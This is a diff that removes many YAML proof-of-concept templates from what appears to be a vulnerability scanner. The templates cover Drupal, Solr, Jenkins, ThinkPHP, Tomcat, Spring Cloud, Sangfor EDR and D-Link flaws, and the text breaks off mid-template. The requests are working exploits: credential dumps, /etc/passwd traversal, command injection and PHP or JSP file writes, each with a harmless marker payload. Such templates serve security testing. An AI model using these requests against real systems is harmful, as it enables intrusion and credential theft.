|
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
name: poc-yaml-dlink-cve-2020-9376-dump-credentials
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: /getcfg.php
|
|
||||||
headers:
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
body: >-
|
|
||||||
SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1
|
|
||||||
expression: >
|
|
||||||
response.status == 200 && response.body.bcontains(b"<name>Admin</name>") && response.body.bcontains(b"</usrid>") && response.body.bcontains(b"</password>")
|
|
||||||
detail:
|
|
||||||
author: x1n9Qi8
|
|
||||||
Affected Version: "Dlink DIR-610"
|
|
||||||
links:
|
|
||||||
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9376
|
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
name: poc-yaml-docker-api-unauthorized-rce
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /info
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(b"KernelVersion") && response.body.bcontains(b"RegistryConfig") && response.body.bcontains(b"DockerRootDir")
|
|
||||||
|
|
||||||
detail:
|
|
||||||
author: j4ckzh0u(https://github.com/j4ckzh0u)
|
|
||||||
links:
|
|
||||||
- https://github.com/vulhub/vulhub/tree/master/docker/unauthorized-rce
|
|
||||||
@@ -1,16 +0,0 @@
|
|||||||
name: poc-yaml-docker-registry-api-unauth
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /v2/
|
|
||||||
follow_redirects: false
|
|
||||||
expression: >
|
|
||||||
response.status == 200 && "docker-distribution-api-version" in response.headers && response.headers["docker-distribution-api-version"].contains("registry/2.0")
|
|
||||||
- method: GET
|
|
||||||
path: /v2/_catalog
|
|
||||||
follow_redirects: false
|
|
||||||
expression: >
|
|
||||||
response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"repositories")
|
|
||||||
detail:
|
|
||||||
author: p0wd3r
|
|
||||||
links:
|
|
||||||
- http://www.polaris-lab.com/index.php/archives/253/
|
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
name: poc-yaml-druid-monitor-unauth
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /druid/index.html
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(b"Druid Stat Index") && response.body.bcontains(b"DruidVersion") && response.body.bcontains(b"DruidDrivers")
|
|
||||||
detail:
|
|
||||||
author: met7or
|
|
||||||
links:
|
|
||||||
- https://github.com/alibaba/druid
|
|
||||||
@@ -1,33 +0,0 @@
|
|||||||
name: poc-yaml-drupal-cve-2019-6340
|
|
||||||
set:
|
|
||||||
host: request.url.host
|
|
||||||
r1: randomLowercase(4)
|
|
||||||
r2: randomLowercase(4)
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: /node/?_format=hal_json
|
|
||||||
headers:
|
|
||||||
Content-Type: application/hal+json
|
|
||||||
Accept: '*/*'
|
|
||||||
body: |
|
|
||||||
{
|
|
||||||
"link": [
|
|
||||||
{
|
|
||||||
"value": "link",
|
|
||||||
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:10:\"{{r1}}%%{{r2}}\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"printf\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"_links": {
|
|
||||||
"type": {
|
|
||||||
"href": "http://{{host}}/rest/type/shortcut/default"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
follow_redirects: true
|
|
||||||
expression: |
|
|
||||||
response.status == 403 && response.body.bcontains(bytes(r1 + "%" + r2))
|
|
||||||
detail:
|
|
||||||
author: thatqier
|
|
||||||
links:
|
|
||||||
- https://github.com/jas502n/CVE-2019-6340
|
|
||||||
- https://github.com/knqyf263/CVE-2019-6340
|
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
name: poc-yaml-drupal-drupalgeddon2-rce # nolint[:namematch]
|
|
||||||
set:
|
|
||||||
r1: randomLowercase(4)
|
|
||||||
r2: randomLowercase(4)
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}"
|
|
||||||
headers:
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
body: |
|
|
||||||
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
|
|
||||||
search: |
|
|
||||||
name="form_build_id"\s+value="(?P<build_id>.+?)"
|
|
||||||
expression: |
|
|
||||||
response.status == 200
|
|
||||||
- method: POST
|
|
||||||
path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}"
|
|
||||||
headers:
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
body: |
|
|
||||||
form_build_id={{build_id}}
|
|
||||||
expression: |
|
|
||||||
response.body.bcontains(bytes(r1 + "%" + r2))
|
|
||||||
detail:
|
|
||||||
drupal_version: 7
|
|
||||||
links:
|
|
||||||
- https://github.com/dreadlocked/Drupalgeddon2
|
|
||||||
- https://paper.seebug.org/567/
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
name: poc-yaml-drupal-drupalgeddon2-rce # nolint[:namematch]
|
|
||||||
set:
|
|
||||||
r1: randomLowercase(4)
|
|
||||||
r2: randomLowercase(4)
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
|
|
||||||
headers:
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
body: |
|
|
||||||
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}}
|
|
||||||
expression: |
|
|
||||||
response.body.bcontains(bytes(r1 + "%" + r2))
|
|
||||||
detail:
|
|
||||||
drupal_version: 8
|
|
||||||
links:
|
|
||||||
- https://github.com/dreadlocked/Drupalgeddon2
|
|
||||||
- https://paper.seebug.org/567/
|
|
||||||
test:
|
|
||||||
target: http://cve-2018-7600-8-x.vulnet:8080/
|
|
||||||
@@ -1,16 +0,0 @@
|
|||||||
name: poc-yaml-elasticsearch-unauth
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"You Know, for Search")
|
|
||||||
- method: GET
|
|
||||||
path: /_cat
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(b"/_cat/master")
|
|
||||||
detail:
|
|
||||||
author: p0wd3r
|
|
||||||
links:
|
|
||||||
- https://yq.aliyun.com/articles/616757
|
|
||||||
@@ -1,16 +0,0 @@
|
|||||||
name: poc-yaml-f5-tmui-cve-2020-5902-rce
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: >-
|
|
||||||
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
|
|
||||||
headers:
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
body: fileName=%2Fetc%2Ff5-release
|
|
||||||
follow_redirects: true
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(b"BIG-IP release")
|
|
||||||
detail:
|
|
||||||
author: Jing Ling
|
|
||||||
links:
|
|
||||||
- https://support.f5.com/csp/article/K52145254
|
|
||||||
- https://github.com/rapid7/metasploit-framework/pull/13807/files
|
|
||||||
@@ -1,13 +0,0 @@
|
|||||||
name: poc-yaml-fangweicms-sqli
|
|
||||||
set:
|
|
||||||
rand: randomInt(200000000, 210000000)
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /index.php?m=Goods&a=showcate&id=103%20UNION%20ALL%20SELECT%20CONCAT%28md5({{rand}})%29%23
|
|
||||||
expression: |
|
|
||||||
response.body.bcontains(bytes(md5(string(rand))))
|
|
||||||
detail:
|
|
||||||
author: Rexus
|
|
||||||
Affected Version: "4.3"
|
|
||||||
links:
|
|
||||||
- http://www.wujunjie.net/index.php/2015/08/02/%E6%96%B9%E7%BB%B4%E5%9B%A2%E8%B4%AD4-3%E6%9C%80%E6%96%B0%E7%89%88sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/
|
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
name: poc-yaml-jboss-cve-2010-1871
|
|
||||||
set:
|
|
||||||
r1: randomInt(8000000, 10000000)
|
|
||||||
r2: randomInt(8000000, 10000000)
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /admin-console/index.seam?actionOutcome=/pwn.xhtml%3fpwned%3d%23%7b{{r1}}*{{r2}}%7d
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 302 && response.headers["location"].contains(string(r1 * r2))
|
|
||||||
detail:
|
|
||||||
author: fuping
|
|
||||||
links:
|
|
||||||
- http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html
|
|
||||||
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1871
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
name: poc-yaml-jboss-unauth
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /jmx-console/
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(b"jboss.management.local") && response.body.bcontains(b"jboss.web")
|
|
||||||
detail:
|
|
||||||
author: FiveAourThe(https://github.com/FiveAourThe)
|
|
||||||
links:
|
|
||||||
- https://xz.aliyun.com/t/6103
|
|
||||||
@@ -1,14 +0,0 @@
|
|||||||
name: poc-yaml-jenkins-cve-2018-1000861-rce
|
|
||||||
set:
|
|
||||||
rand: randomLowercase(4)
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: >-
|
|
||||||
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27{{rand}}%27,%20version=%271%27)%0aimport%20Payload;
|
|
||||||
follow_redirects: false
|
|
||||||
expression: >-
|
|
||||||
response.status == 200 && response.body.bcontains(bytes("package#" + rand))
|
|
||||||
detail:
|
|
||||||
author: p0wd3r
|
|
||||||
links:
|
|
||||||
- https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
|
|
||||||
@@ -1,21 +0,0 @@
|
|||||||
name: poc-yaml-jenkins-unauthorized-access
|
|
||||||
set:
|
|
||||||
r1: randomInt(1000, 9999)
|
|
||||||
r2: randomInt(1000, 9999)
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /script
|
|
||||||
follow_redirects: false
|
|
||||||
expression: response.status == 200
|
|
||||||
search: |
|
|
||||||
"Jenkins-Crumb", "(?P<var>.+?)"\);
|
|
||||||
- method: POST
|
|
||||||
path: /script
|
|
||||||
body: |
|
|
||||||
script=printf%28%27{{r1}}%25%25{{r2}}%27%29%3B&Jenkins-Crumb={{var}}&Submit=%E8%BF%90%E8%A1%8C
|
|
||||||
expression: response.status == 200 && response.body.bcontains(bytes(string(r1) + "%" + string(r2)))
|
|
||||||
detail:
|
|
||||||
author: MrP01ntSun(https://github.com/MrPointSun)
|
|
||||||
links:
|
|
||||||
- https://www.cnblogs.com/yuzly/p/11255609.html
|
|
||||||
- https://blog.51cto.com/13770310/2156663
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
name: poc-yaml-phpmyadmin-cve-2018-12613-file-inclusion
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
|
|
||||||
follow_redirects: false
|
|
||||||
expression: >-
|
|
||||||
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
|
|
||||||
detail:
|
|
||||||
author: p0wd3r
|
|
||||||
links:
|
|
||||||
- https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613
|
|
||||||
@@ -1,19 +0,0 @@
|
|||||||
name: poc-yaml-phpstudy-backdoor-rce
|
|
||||||
set:
|
|
||||||
r: randomLowercase(6)
|
|
||||||
payload: base64("printf(md5('" + r + "'));")
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /index.php
|
|
||||||
headers:
|
|
||||||
Accept-Encoding: 'gzip,deflate'
|
|
||||||
Accept-Charset: '{{payload}}'
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.body.bcontains(bytes(md5(r)))
|
|
||||||
detail:
|
|
||||||
author: 17bdw
|
|
||||||
Affected Version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4"
|
|
||||||
vuln_url: "php_xmlrpc.dll"
|
|
||||||
links:
|
|
||||||
- https://www.freebuf.com/column/214946.html
|
|
||||||
@@ -1,13 +0,0 @@
|
|||||||
name: poc-yaml-sangfor-edr-arbitrary-admin-login
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /ui/login.php?user=admin
|
|
||||||
follow_redirects: false
|
|
||||||
expression: >
|
|
||||||
response.status == 302 &&
|
|
||||||
response.body.bcontains(b"/download/edr_installer_") &&
|
|
||||||
response.headers["Set-Cookie"] != ""
|
|
||||||
detail:
|
|
||||||
author: hilson
|
|
||||||
links:
|
|
||||||
- https://mp.weixin.qq.com/s/6aUrXcnab_EScoc0-6OKfA
|
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
name: poc-yaml-sangfor-edr-cssp-rce
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: /api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9
|
|
||||||
headers:
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
body: >-
|
|
||||||
{"params":"w=123\"'1234123'\"|id"}
|
|
||||||
expression: >
|
|
||||||
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"uid=0(root)")
|
|
||||||
detail:
|
|
||||||
author: x1n9Qi8
|
|
||||||
Affected Version: "Sangfor EDR 3.2.17R1/3.2.21"
|
|
||||||
links:
|
|
||||||
- https://www.cnblogs.com/0day-li/p/13650452.html
|
|
||||||
@@ -1,14 +0,0 @@
|
|||||||
name: poc-yaml-sangfor-edr-tool-rce
|
|
||||||
set:
|
|
||||||
r1: randomLowercase(8)
|
|
||||||
r2: randomLowercase(8)
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: "/tool/log/c.php?strip_slashes=printf&host={{r1}}%25%25{{r2}}"
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes(r1 + "%" + r2))
|
|
||||||
detail:
|
|
||||||
author: cookie
|
|
||||||
links:
|
|
||||||
- https://edr.sangfor.com.cn/
|
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
name: poc-yaml-shiro
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /
|
|
||||||
headers:
|
|
||||||
Cookie: rememberMe=1
|
|
||||||
expression: |
|
|
||||||
"Set-Cookie" in response.headers && response.headers["Set-Cookie"].contains("rememberMe")
|
|
||||||
detail:
|
|
||||||
author: test
|
|
||||||
links:
|
|
||||||
- https://baidu.com/shiro
|
|
||||||
@@ -1,30 +0,0 @@
|
|||||||
name: poc-yaml-solr-cve-2019-0193
|
|
||||||
set:
|
|
||||||
r1: randomInt(40000, 44800)
|
|
||||||
r2: randomInt(40000, 44800)
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /solr/admin/cores?wt=json
|
|
||||||
follow_redirects: false
|
|
||||||
expression: response.status == 200 && response.body.bcontains(b"responseHeader")
|
|
||||||
search: '"name":"(?P<core>.*?)"'
|
|
||||||
- method: POST
|
|
||||||
path: >-
|
|
||||||
/solr/{{core}}/dataimport?command=full-import&debug=true&wt=json&indent=true&verbose=false&clean=false&commit=false&optimize=false&dataConfig=%3CdataConfig%3E%0D%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22DEBUG%22%20%2F%3E%0D%0A%3Cscript%3E%3C!%5BCDATA%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20function%20execute(row)%20%20%20%20%7B%0D%0Arow.put(%22id%22,{{r1}}*{{r2}})%3B%0D%0Areturn%20row%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%5D%5D%3E%3C%2Fscript%3E%0D%0A%3Cdocument%3E%0D%0A%20%20%20%20%3Centity%0D%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20name%3D%22streamxml%22%0D%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0D%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0D%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20forEach%3D%22%2Fbooks%2Fbook%22%0D%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Aexecute%22%20%3E%0D%0A%09%09%09%3Cfield%20column%3D%22id%22%20name%3D%22id%22%2F%3E%0D%0A%20%20%20%20%3C%2Fentity%3E%0D%0A%3C%2Fdocument%3E%0D%0A%3C%2FdataConfig%3E
|
|
||||||
headers:
|
|
||||||
Content-Type: text/html
|
|
||||||
body: |-
|
|
||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<books>
|
|
||||||
<book>
|
|
||||||
</book>
|
|
||||||
</books>
|
|
||||||
follow_redirects: false
|
|
||||||
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
|
|
||||||
detail:
|
|
||||||
author: fnmsd(https://github.com/fnmsd)
|
|
||||||
solr_version: '<8.1.12'
|
|
||||||
vulnpath: '/solr/{{core}}/dataimport'
|
|
||||||
description: 'Apache Solr DataImportHandler Remote Code Execution Vulnerability(CVE-2019-0193)'
|
|
||||||
links:
|
|
||||||
- https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193
|
|
||||||
@@ -1,38 +0,0 @@
|
|||||||
name: poc-yaml-solr-velocity-template-rce
|
|
||||||
set:
|
|
||||||
r1: randomInt(20000, 40000)
|
|
||||||
r2: randomInt(20000, 40000)
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: "/solr/admin/cores?wt=json"
|
|
||||||
follow_redirects: false
|
|
||||||
expression: response.status == 200 && response.body.bcontains(b"responseHeader")
|
|
||||||
search: |
|
|
||||||
"name":"(?P<core>[^"]+)"
|
|
||||||
- method: POST
|
|
||||||
path: >-
|
|
||||||
/solr/{{core}}/config
|
|
||||||
headers:
|
|
||||||
Content-Type: application/json
|
|
||||||
body: |-
|
|
||||||
{
|
|
||||||
"update-queryresponsewriter": {
|
|
||||||
"startup": "test",
|
|
||||||
"name": "velocity",
|
|
||||||
"class": "solr.VelocityResponseWriter",
|
|
||||||
"template.base.dir": "",
|
|
||||||
"solr.resource.loader.enabled": "true",
|
|
||||||
"params.resource.loader.enabled": "true"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
expression: response.status == 200
|
|
||||||
- method: GET
|
|
||||||
path: "/solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set(%24c%3D{{r1}}%20*%20{{r2}})%24c"
|
|
||||||
follow_redirects: false
|
|
||||||
expression: response.body.bcontains(bytes(string(r1 * r2)))
|
|
||||||
detail:
|
|
||||||
author: Loneyer
|
|
||||||
description: 'Apache Solr RCE via Velocity template'
|
|
||||||
links:
|
|
||||||
- https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
|
|
||||||
- https://cert.360.cn/warning/detail?id=fba518d5fc5c4ed4ebedff1dab24caf2
|
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
name: poc-yaml-spring-cloud-cve-2020-5405
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: >-
|
|
||||||
/a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/resolv.conf
|
|
||||||
follow_redirects: true
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes("This file is managed by man:systemd-resolved(8). Do not edit."))
|
|
||||||
|
|
||||||
detail:
|
|
||||||
version: <= 2.1.6, 2.2.1
|
|
||||||
author: kingkk(https://www.kingkk.com/)
|
|
||||||
links:
|
|
||||||
- https://pivotal.io/security/cve-2020-5405
|
|
||||||
- https://github.com/spring-cloud/spring-cloud-config
|
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
name: poc-yaml-spring-cloud-cve-2020-5410
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: >-
|
|
||||||
/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/a
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
|
|
||||||
detail:
|
|
||||||
author: Soveless(https://github.com/Soveless)
|
|
||||||
Affected Version: "Spring Cloud Config 2.2.x < 2.2.3, 2.1.x < 2.1.9"
|
|
||||||
links:
|
|
||||||
- https://xz.aliyun.com/t/7877
|
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
name: poc-yaml-spring-cve-2016-4977
|
|
||||||
set:
|
|
||||||
r1: randomInt(40000, 44800)
|
|
||||||
r2: randomInt(40000, 44800)
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /oauth/authorize?response_type=${{{r1}}*{{r2}}}&client_id=acme&scope=openid&redirect_uri=http://test
|
|
||||||
follow_redirects: false
|
|
||||||
expression: >
|
|
||||||
response.body.bcontains(bytes(string(r1 * r2)))
|
|
||||||
detail:
|
|
||||||
Affected Version: "spring(2.0.0-2.0.9 1.0.0-1.0.5)"
|
|
||||||
author: hanxiansheng26(https://github.com/hanxiansheng26)
|
|
||||||
links:
|
|
||||||
- https://github.com/vulhub/vulhub/tree/master/spring/CVE-2016-4977
|
|
||||||
@@ -1,14 +0,0 @@
|
|||||||
name: poc-yaml-springcloud-cve-2019-3799
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: >-
|
|
||||||
/test/pathtraversal/master/..%252F..%252F..%252F..%252F..%252F..%252Fetc%252fpasswd
|
|
||||||
follow_redirects: true
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
|
|
||||||
|
|
||||||
detail:
|
|
||||||
version: <2.1.2, 2.0.4, 1.4.6
|
|
||||||
author: Loneyer
|
|
||||||
links:
|
|
||||||
- https://github.com/Loneyers/vuldocker/tree/master/spring/CVE-2019-3799
|
|
||||||
@@ -1,13 +0,0 @@
|
|||||||
name: poc-yaml-thinkadmin-v6-readfile
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b2x322s2t3c1a342w34
|
|
||||||
follow_redirects: true
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes("PD9waH")) && response.body.bcontains(bytes("VGhpbmtBZG1pbg"))
|
|
||||||
detail:
|
|
||||||
author: 0x_zmz(github.com/0x-zmz)
|
|
||||||
info: thinkadmin-v6-readfile By 0x_zmz
|
|
||||||
links:
|
|
||||||
- https://mp.weixin.qq.com/s/3t7r7FCirDEAsXcf2QMomw
|
|
||||||
- https://github.com/0x-zmz
|
|
||||||
@@ -1,13 +0,0 @@
|
|||||||
name: poc-yaml-thinkcmf-lfi
|
|
||||||
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: "/?a=display&templateFile=README.md"
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes(string(b"ThinkCMF"))) && response.body.bcontains(bytes(string(b"## README")))
|
|
||||||
|
|
||||||
detail:
|
|
||||||
author: JerryKing
|
|
||||||
ThinkCMF: x1.6.0/x2.1.0/x2.2.0-2
|
|
||||||
links:
|
|
||||||
- https://www.freebuf.com/vuls/217586.html
|
|
||||||
@@ -1,18 +0,0 @@
|
|||||||
name: poc-yaml-thinkcmf-write-shell
|
|
||||||
set:
|
|
||||||
r: randomInt(10000, 20000)
|
|
||||||
r1: randomInt(1000000000, 2000000000)
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: "/index.php?a=fetch&content=%3C?php+file_put_contents(%22{{r}}.php%22,%22%3C?php+echo+{{r1}}%3B%22)%3B"
|
|
||||||
expression: "true"
|
|
||||||
- method: GET
|
|
||||||
path: "/{{r}}.php"
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes(string(r1)))
|
|
||||||
|
|
||||||
detail:
|
|
||||||
author: violin
|
|
||||||
ThinkCMF: x1.6.0/x2.1.0/x2.2.0-2
|
|
||||||
links:
|
|
||||||
- https://www.freebuf.com/vuls/217586.html
|
|
||||||
@@ -1,26 +0,0 @@
|
|||||||
name: poc-yaml-thinkphp-v6-file-write
|
|
||||||
set:
|
|
||||||
f1: randomInt(800000000, 900000000)
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /{{f1}}.php
|
|
||||||
follow_redirects: true
|
|
||||||
expression: |
|
|
||||||
response.status == 404
|
|
||||||
- method: GET
|
|
||||||
path: /
|
|
||||||
headers:
|
|
||||||
Cookie: PHPSESSID=../../../../public/{{f1}}.php
|
|
||||||
follow_redirects: true
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && "set-cookie" in response.headers && response.headers["set-cookie"].contains(string(f1))
|
|
||||||
- method: GET
|
|
||||||
path: /{{f1}}.php
|
|
||||||
follow_redirects: true
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.content_type.contains("text/html")
|
|
||||||
detail:
|
|
||||||
author: Loneyer
|
|
||||||
Affected Version: "Thinkphp 6.0.0"
|
|
||||||
links:
|
|
||||||
- https://github.com/Loneyers/ThinkPHP6_Anyfile_operation_write
|
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
name: poc-yaml-thinkphp5-controller-rce
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=a29hbHIgaXMg%25%25d2F0Y2hpbmcgeW91
|
|
||||||
expression: |
|
|
||||||
response.body.bcontains(b"a29hbHIgaXMg%d2F0Y2hpbmcgeW9129")
|
|
||||||
|
|
||||||
detail:
|
|
||||||
links:
|
|
||||||
- https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
|
|
||||||
@@ -1,13 +0,0 @@
|
|||||||
name: poc-yaml-thinkphp5023-method-rce
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: /index.php?s=captcha
|
|
||||||
headers:
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
body: |
|
|
||||||
_method=__construct&filter[]=printf&method=GET&server[REQUEST_METHOD]=TmlnaHQgZ2F0aGVycywgYW5%25%25kIG5vdyBteSB3YXRjaCBiZWdpbnMu&get[]=1
|
|
||||||
expression: |
|
|
||||||
response.body.bcontains(b"TmlnaHQgZ2F0aGVycywgYW5%kIG5vdyBteSB3YXRjaCBiZWdpbnMu1")
|
|
||||||
detail:
|
|
||||||
links:
|
|
||||||
- https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce
|
|
||||||
@@ -1,22 +0,0 @@
|
|||||||
name: poc-yaml-tomcat-cve-2017-12615-rce
|
|
||||||
set:
|
|
||||||
filename: randomLowercase(6)
|
|
||||||
verifyStr: randomLowercase(12)
|
|
||||||
commentStr: randomLowercase(12)
|
|
||||||
rules:
|
|
||||||
- method: PUT
|
|
||||||
path: '/{{filename}}.jsp/'
|
|
||||||
body: '{{verifyStr}} <%-- {{commentStr}} --%>'
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 201
|
|
||||||
- method: GET
|
|
||||||
path: '/{{filename}}.jsp'
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes(verifyStr)) && !response.body.bcontains(bytes(commentStr))
|
|
||||||
detail:
|
|
||||||
author: j4ckzh0u(https://github.com/j4ckzh0u)
|
|
||||||
links:
|
|
||||||
- https://www.seebug.org/vuldb/ssvid-96562
|
|
||||||
- https://mp.weixin.qq.com/s/sulJSg0Ru138oASiI5cYAA
|
|
||||||
@@ -1,16 +0,0 @@
|
|||||||
name: poc-yaml-tomcat-cve-2018-11759
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /jkstatus;
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
